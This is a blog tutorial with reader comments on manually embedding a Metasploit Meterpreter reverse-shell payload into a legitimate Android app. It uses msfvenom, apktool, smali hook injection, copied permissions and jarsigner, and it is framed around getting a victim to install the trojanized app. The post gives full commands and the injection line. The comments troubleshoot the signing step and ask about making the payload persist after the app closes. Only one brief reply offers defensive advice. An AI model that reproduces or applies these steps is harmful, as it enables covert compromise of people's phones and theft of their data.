Embed a Metasploit Payload in an original .apk File | Part 2 – Do it manually

Metasploit’s flagship product, the Meterpreter, is very powerful and an all-purpose payload. Once installed on the victim machine, we can do whatever we want to their system by sending out commands to it. For example, we could grab sensitive data out of the compromised system.

The Meterpreter payload also comes as an installable .apk file for Android systems. Great! Now we can use Metasploit to compromise Android phones also. But if you have tried out these payloads you would know that they do not look convincing. No one in their right mind is going to install and run such an app, which apparently does nothing when it is opened. So how are we going to make the victim run the payload app in their phone?

One of the solutions is that you can embed the payload inside another legitimate app. The app will look and behave exactly as the original one, so the victim won’t even know that his system is compromised. That’s what we are going to do in this tutorial.

NOTE – This is a follow-up post of my previous post, in which I showed you how to do this using a very simple yet effective Ruby script. If you haven’t read it, check it out. If you are not willing to go down the hard path, you can use that method to do it just fine. But if you want to know the inner workings and have a greater knowledge, continue reading this post. And also, In the following Android Hacking tutorials, I may refer to this tutorial, so If you can take it, I suggest you to keep on reading.

PRE-REQUISTICS:

This tutorial is based on the Kali Linux Operating System. I’m sure it can be done in other OS, especially Linux Distros, but that will involve some more complications so I’m not going to cover those. If you are serious about Hacking [or Penetration Testing, if you prefer], you should use Kali as it was built specifically for Pen-Testing.

We will also need some libraries and tools in the following steps, so I think it’s better if you install them right now.

To install the required libraries, enter this command at the console:

apt-get install lib32stdc++6 lib32ncurses5 lib32z1

And to get the latest version of ApkTool, head over to this site and follow the installation instructions.

Also download the apk which you want to be backdoor-ed from any source you like. Just do a google search “app_name apk download” and Google will come up with a lot of results. Save that apk in the root folder.

BRIEF OVERVIEW:

Since this tutorial is a little bit long, I’m giving a brief overview of what we are going to do here.

  1. Generate the Meterpreter payload
  2. Decompile the payload and the original apk
  3. Copy the payload files to the original apk
  4. Inject the hook into the appropriate activity of the original apk
  5. Inject the permissions in the AndroidManifest.xml file
  6. Re-compile the original apk
  7. Sign the apk using Jarsigner

That’s about it. I will also show you how can you get a working Meterpreter session using that backdoored apk, if you don’t know that already. So let’s get started.

STEP 1: GENERATE THE PAYLOAD:

First of all, we have to make the Meterpreter payload. We are going to use MSFVenom for this. The command is-

msfvenom -p android/meterpreter/[Payload_Type] LHOST=[IP_Address] LPORT=[Incoming_Port] -o meterpreter.apk
      • Replace [Payload_Type] by any of the following payloads available. The function of all these payloads are same, essentially they are all Meterpreter payloads, the difference is only in the method they use to connect to your Kali system. The available [Payload_Type]s are –
        1. reverse_tcp
        2. reverse_http
        3. reverse_https

        You can use any one you like, I’m going to use reverse_https as an example.

      • Replace [IP_Address] by the IP address to which the payload is going to connect back to, i.e the IP address of the attacker’s system. If you are going to perform this attack over a local network (eg. if the victim and attacker are connected to the same WiFi hotspot), your Local IP will suffice. To know what your local IP is, run the command –
        ifconfig
        Screenshot from 2015-12-18 13:56:49

        If you are going to perform this attack over the Internet, you have to use your public IP address, and configure your router properly (set up port forwarding) so that your system is accessible from the Internet. To know your public IP, just google “My IP” and Google will help you out.

      • Replace [Incoming_Port] with the port no. which you want to be used by the payload to connect to your system. This can be any valid port except the reserved ones like port 80 (HTTP). I’m going to use 4895 as an example.

So run the command using replacing the keywords with appropriate values and MSFVenom will generate a payload “meterpreter.apk” in the root directory. Note that we specified the output file name using the “-o meterpreter.apk” argument in the command, so if you like, you can name it anything else also.

Screenshot from 2015-12-18 14:23:14

STEP 2: DECOMPILE THE APKs:

Now we have to decompile the APKs, for this we are going to use APKTool. It decompiles the code to a fairly human-readable format and saves it in .smali files, and also successfully extracts the .xml files. Assuming you have already installed the latest apktool and also have the original apk file in the root directory, run the following commands –

apktool d -f -o payload /root/meterpreter.apk

apktool d -f -o original /root/[Original_APK_Name]

It will decompile the payload to “/root/payload” and the original apk to “/root/original” directory.

Screenshot from 2015-12-19 01:30:26

 

STEP 3: COPY THE PAYLOAD FILES:

Now we have to copy the payload files to the original app’s folder. Just go to “/root/payload/smali/com/metasploit/stage” and copy all the .smali files whose file name contains the word ‘payload’. Now paste them in “/root/original/smali/com/metasploit/stage”. Note that this folder does not exists, so you have to create it.

STEP 4: INJECT THE HOOK IN THE ORIGINAL .SMALI CODE:

In the previous step, we just copied the payload codes inside the original apk, so that when the original apk is recompiled, it will contain the payload. But that doesn’t necessarily mean that the payload will run. To ensure that the payload runs, we have to inject a hook in the original apk’s .smali code. If you are wondering what is this hook thingy I’m talking about, well essentially it’s a code which intercepts some specific function call and reacts to it. In this case, we are going to place the hook so that when the app is launched, it will also launch the payload with it.

For this, firstly we have to find out which activity [to put it simply, activities are sections of code, it’s similar to frames in windows programming] is run when the app is launched. We can get this info from the AndroidManifest.xml file.

So open up the AndroidManifest.xml file located inside the “/root/original” folder using any text editor. If you know HTML, then this file will look familiar to you. Both of them are essentially Markup Languages, and both use the familiar tags and attributes structure [e.g. <tag attribute=”value”> Content </tag>]. Anyway, look for an <activity> tag which contains both the lines –

<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>

On a side note, you can use CTRL+F to search within the document in any GUI text editor. When you locate that activity, note its “android:name” attribute’s value. In my case, as you can see from the screenshot below, it is “com.piriform.ccleaner.ui.activity.MainActivity”.

Screenshot from 2015-12-19 13:21:32

Those two lines we searched for signifies that this is the activity which is going to start when we launch the app from the launcher icon, and also this is a MAIN activity [similar to the ‘main’ function in traditional programming].

Now that we have the name of the activity we want to inject the hook into, let’s get to it! First of all, open the .smali code of that activity using gedit. Just open a terminal and type –

gedit /root/original/smali/[Activity_Path]

Replace the [Activity_Path] with the activity’s “android:name”, but instead of the dots, type slash. Actually the smali codes are stored in folders named in the format the “android:name” is in, so we can easily get the location of the .smali code in the way we did. Check the screenshot below and you will get an idea of what I’m trying to say.

Screenshot from 2015-12-19 19:06:17

Now search for the following line in the smali code [using CTRL+F] –

;->onCreate(Landroid/os/Bundle;)V

When you locate it, paste the following code in the line next to it –

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

What we are doing here is, inserting a code which starts the payload alongside the existing code which is executed when the activity starts. Now, save the edited smali file.

STEP 5: INJECT THE NECESSARY PERMISSIONS:

From developer.android.com –

Additional finer-grained security features are provided through a “permission” mechanism that enforces restrictions on the specific operations that a particular process can perform.

If we do not mention all the additional permissions that our payload is going to need, it cannot function properly. While installing an app, these permissions are shown to the user. But most of the users don’t care to read all those boring texts, so we do not have to worry about that much.

These permissions are also listed in the previously encountered AndroidManifest file. So let’s open the AndroidManifest.xml of both the original app and the payload from the respective folders. The permissions are mentioned inside <uses-permission> tag as an attribute ‘android:name’. Copy the additional permission lines from the Payload’s AndroidManifest to the original app’s one. But be careful that there should not be any duplicate.

Here’s my original app’s AndroidManifest before editing –Screenshot from 2015-12-19 19:37:12

After adding the additional ones from the Payload’s AndroidManifest, my /root/original/AndroidManifest.xml looks like this – Screenshot from 2015-12-19 19:42:48

STEP 6: RECOMPILE THE ORIGINAL APK:

Now th hard parts are all done! We just have to recompile the backdoored app into an installable apk. Run the following command –

apktool b /root/original

Screenshot from 2015-12-19 20:14:31

You will now have the compiled apk inside the “/root/original/dist” directory. But, we’re still not done yet.

STEP 7: SIGN THE APK:

This is also a very important step, as in most of the cases, an unsigned apk cannot be installed. From developer.android.com –

Android requires that all apps be digitally signed with a certificate before they can be installed. Android uses this certificate to identify the author of an app, and the certificate does not need to be signed by a certificate authority. Android apps often use self-signed certificates. The app developer holds the certificate's private key.

In this case we are going to sign the apk using the default android debug key. Just run the following command –

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA [apk_path] androiddebugkey

Be sure to replace the [apk_path] in the above command with the path to your backdoored apk file.

Screenshot from 2015-12-19 20:28:31

PROFIT?!:

Now if you can get the victim to install and run this very legit-looking app in his phone, you can get a working meterpreter session on his phone!

Screenshot from 2015-12-19 20:44:01

48 Replies to “Embed a Metasploit Payload in an original .apk File | Part 2 – Do it manually”

  1. I have tried this numerous times, and everything seems to work until I try to install on my phone. I simply get the message that the “application was not installed”. After hours spent on google I now know this has to do with the app not being signed, however the jarsigner was successfull, and even when I use jarsigner -verify I get the message that it is verified. Could you please help me?

  2. Nevermind my last reply. It seems to work with CCcleaner rather than with snapchat and instagram. I guess those two have implemented some security against this.

    1. Yeah that could be it. It’s not a foolproof method. There should be a bypass also, I’ll have to look into that. Anyways, sorry for not replying earlier. And don’t hesitate to comment if you have faced any other problems or if you want me to write on any specific topic.

      Regards, Sumit

  3. When i try to sign the apk just throw me this:
    jarsigner error: java.lang.RuntimeException: keystore load: /root/.android/debug.keystore (No such file or directory)

    1. If the debug.keystore file is not available, you can create it manually using –

      keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US"

      Source – http://goo.gl/Afpnz

      Sorry for not replying earlier. And don’t hesitate to comment if you have faced any other problems or if you want me to write on any specific topic.

      Regards, Sumit

      1. It say
        “keytool error: java.io.IOException: ObjectIdentifier() — Must be at least two oid components
        java.io.IOException: ObjectIdentifier() — Must be at least two oid components
        at sun.security.util.ObjectIdentifier.checkCount(ObjectIdentifier.java:619)
        at sun.security.util.ObjectIdentifier.(ObjectIdentifier.java:199)
        at sun.security.x509.AVAKeyword.getOID(AVA.java:1256)
        at sun.security.x509.AVA.(AVA.java:188)
        at sun.security.x509.AVA.(AVA.java:147)
        at sun.security.x509.RDN.(RDN.java:147)
        at sun.security.x509.X500Name.parseDN(X500Name.java:916)
        at sun.security.x509.X500Name.(X500Name.java:163)
        at sun.security.x509.X500Name.(X500Name.java:150)
        at sun.security.tools.keytool.Main.doGenKeyPair(Main.java:1612)
        at sun.security.tools.keytool.Main.doCommands(Main.java:966)
        at sun.security.tools.keytool.Main.run(Main.java:343)
        at sun.security.tools.keytool.Main.main(Main.java:336)”
        How do i do?

  4. i have a problem with signing :
    jarsigner error: java.security.SignatureException: private key algorithm is not compatible with signature algorithm

    1. Hi.. to solve this you need to update your keytool … You have to add the following “-keyalg RSA”(without quotes)… To the keytool generate command….
      At times you may get an error saying already generated…
      In that case delete the keytool using the following code “keytool -delete -alias androiddebugkey -keystore ~/.android/debug.keystore”
      If it asks for a password enter “android”.
      Then regenerate the toolkey with the above command and you are good to go… 🙂

  5. How can we protect ourselves from this attack? Is there a way to look for meterpreter or any other type of shell on our devices?

    1. Very good question, I should’ve addressed this in the article.

      Anyway, to answer your question, if we take some very basic steps, then we can protect ourselves from most of these. Some of the steps would be:

      1. Installing apps only from trusted sources, such as Google Play. If you do have to download the APK for some reason, try to download it from the official website.

      2. Installing an antivirus on your phone. Antivirus are very effective against basic attacks like these, for example if you try this attack on a phone with antivirus, the antivirus would easily detect it.

      Although these may seem very trivial, but believe me, they are way better than doing nothing, and they stop 90% of the attacks.

  6. Nice share and it work properly… Btw i’m using windows to dc rc apk files coz i have not installed java in my kali linux… Thanks a lot

    1. well it worked for me with both single payload file and embedded ones …
      i am using my Dynamic DNS for my my public IP …

      after one day it’s stopped working .. the Application on android saying “unfortunately , MainActivity has stopped ”
      on my terminal it says
      [-] Errno::ECONNRESET Connection reset by peer – SSL_accept”

      port forwarding working everything is the same … i don’t know why this happening it was working before hours …

  7. Nice Tut.
    All worked just no. 7 didn’t work for me !? 🙁
    Hope you can help me –>

    squ@squ ~/Schreibtisch $ jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA hillclimb-1.24.0.apk androiddebugkey

    ########################Error#####################
    jarsigner error: java.lang.RuntimeException: keystore load: /home/squ/.android/debug.keystore (File or Directory not found)

    1. //to get the private key for debugging
      mkdir ~/.android
      keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname “CN=Android Debug,O=Android,C=US” -keyalg RSA
      //to sign the apk file after embedding //orig.apk after embedding at original/dist/orig.apk
      jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA orig.apk androiddebugkey

  8. I just fixed the “Debug store error”

    Im currently using Kali Linux and if you have tried everything else try this.

    In Terminal
    mkdir /root/.android

    Then Run the command from above:
    keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname “CN=Android Debug,O=Android,C=US” -keylag RSA

    1. keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname “CN=androiddebug,O=android,C=US” -keyalg RSA

      with this correct command, it’s work

    2. root@STARK:/# keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname “CN=Android Debug,O=Android,C=US” -keylag RSA
      Illegal option: Debug,O=Android,C=US”
      keytool -genkeypair [OPTION]…

      Please help sir, I am a newbie to this area.

  9. So I’m having trouble trying to figure out what you mean specifically at the end of “Step 4”.

    “Now search for the following line in the smali code [using CTRL+F] –”…
    “When you locate it, paste the following code IN THE LINE NEXT TO IT –”…

    I’m encountering errors upon trying to recompile the .apk, and the errors that it’s throwing at me are pointing to directly that specific line, complaining something about “Invalid register v19, must be between v0 and v15 inclusive…”
    I’m fairly new to this whole concept and I grasp things quickly, but I can’t for the life of me figure out how to counter this error. Suggestions?

  10. Thank you so much, I follow your steps and It works great!
    If anyone have a problem with 7th step (**debug.keystore (File or Directory not found) ) just:
    i) keytool -delete -alias androiddebugkey -keystore ~/.android/debug.keystore
    (password: android)
    ii) keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname “CN=AndroidDebug,O=Android,C=US” -keyalg RSA

    Does someone know how to add the persistence to this method and how to use it then?? It would be really great!

  11. (kali-rolling)root@localhost:~# jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA ~/Desktop/original/dist/com.piriform.ccleaner-1.17.65-APK4Fun.com.apk androiddebugkey
    jarsigner: unable to open jar file: /root/Desktop/original/dist/com.piriform.ccleaner-1.17.65-APK4Fun.com.apk

    I get this error. Please help me!

  12. Is there a way to keep the payload running even after closing the infected app?
    I’ve tried to invoke meterpreter service hook like this:

    invoke-static {p0}, Lcom/metasploit/stage/MainService;->startService(Landroid/content/Context;)V

    however, it’s not running in the background after closing the app, meterpreter session just dies after that.

  13. I think your write up was excellent. I had a few issues signing the apk in the beginning, but after reading a few of the comments I got it sorted out. I have to say, paying particular attention to exactly where the signed and modified (embedded) apk was (/root/original/dist/[name.apk]) was. I missed that step from reading over too fast. I kept using wrong one. In any case I was finally able to sign apk and D/L it to my phone but it kept failing to open “Unfortunately the app has stopped” message. This drove me F-ing crazy trying to figure it. After running catlog app I was able to troubleshoot the problem. It was looking for metasploit/stage/a,b,c,d. So I needed A.smali, B.Smali C.smali and D.smali from the payload folder (…/com/metasploit/stage/). I know this because I tried one at a time, one after the other and it would get alittle further each time. At any rate, once those were copy to the correct “original/” respective folders the app opened and I was able to get a reverse_tcp connection!!
    So Im not sure why you stated you only need “Payload.smali” but it seems like you need all of those, at least I did, on my phone and tablet (LGG3 & Galaxy S tab).
    Either way, great write up and thank you for putting in the work to do all of this, maybe this could help you or anyone else having similar issues!!

  14. Oh and one last thing, from the above comment; APK’s tested and functional were Pandora radio and CCleaner. I used on both LAN and WAN over cellular and wifi.

  15. i did all successfully, sir.
    but when i went for signing the apk, it showed this
    ” jarsigner error: java.lang.RuntimeException: keystore load: /root/.android/debug.keystore (No such file or directory)”
    my comand was:
    “root@OP:~# jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/original/dist/mm.apk androiddebugkey”

    please help.

  16. i successfully completed everything and installed the apk but when i try running the apk it just force closes the app. no meterpreter shell, nothing.. it just closes. any idea where i went wrong?

  17. hey i got this problem at the end of the step… this is the last step when:
    jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA [apk_path] androiddebugkey

    this is the result (error):

    jarsigner: unable to sign jar: java.util.zip.ZipException: invalid entry compressed size (expected 144497 but got 147382 bytes)

    any solution. really need help.

    you can contact me on email
    xy.aminei@gmail.com

    1. It’s more than likely because it wasn’t signed or wasn’t signed properly with jarsigner. But I ran into issues when I did it. When I was modifying the smali and .xml files I had to import all the .smali files (a,b,c & d) or else it gave me that same error

  18. lib32stdc++6 lib32ncurses5 lib32z1

    the libs are not install bkz threr is no pakcage with this names

    pls help me sair

Leave a Reply

Your email address will not be published. Required fields are marked *